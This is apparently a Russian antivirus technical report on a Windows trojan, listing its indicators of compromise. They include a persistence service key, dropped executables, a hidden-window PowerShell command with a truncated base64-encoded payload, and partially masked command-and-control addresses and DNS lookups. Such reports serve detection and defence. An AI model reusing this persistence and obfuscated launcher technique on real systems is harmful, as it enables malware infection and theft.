Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\KBDSOREX] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\KBDSOREX] 'ImagePath' = '"%WINDIR%\SysWOW64\WinSCard\KBDSOREX.exe"'
- 'KBDSOREX' "%WINDIR%\SysWOW64\WinSCard\KBDSOREX.exe"
- 'KBDSOREX' %WINDIR%\SysWOW64\WinSCard\KBDSOREX.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABWADYAeQAzAG0AMwBrAD0AKAAoACcARQA3ACcAKwAnAGEAJwApACsAKAAnAHQAJwArACcAbgBkAG8AJwApACkAOwAmACgAJwBuAGUAdwAtAGkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABlAG4AdgA6AHUAUwBFAHIAcA...
- %HOMEPATH%\s1yc24v\v40ennm\mvgvqd34.exe
- %WINDIR%\syswow64\winscard\kbdsorex.exe
- %HOMEPATH%\s1yc24v\v40ennm\mvgvqd34.exe в %WINDIR%\syswow64\winscard\kbdsorex.exe
- '20#.#2.141.45':80
- http://20#.#2.141.45/Dw9bc/PNx4DpDZYL4oruXE/2croarFCx5Gr9Z5/dL97Bns18oLmH5/
- DNS ASK an####nemaia.com
- DNS ASK sh####totras.com
- DNS ASK ti####miracolo.com
- DNS ASK do###ezilla.com
- DNS ASK be##.#oneberry.com
- DNS ASK ma####loverseas.com
- '%HOMEPATH%\s1yc24v\v40ennm\mvgvqd34.exe'
- '%WINDIR%\syswow64\winscard\kbdsorex.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABWADYAeQAzAG0AMwBrAD0AKAAoACcARQA3ACcAKwAnAGEAJwApACsAKAAnAHQAJwArACcAbgBkAG8AJwApACkAOwAmACgAJwBuAGUAdwAtAGkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABlAG4AdgA6AHUAUwBFAHIAcA...' (со скрытым окном)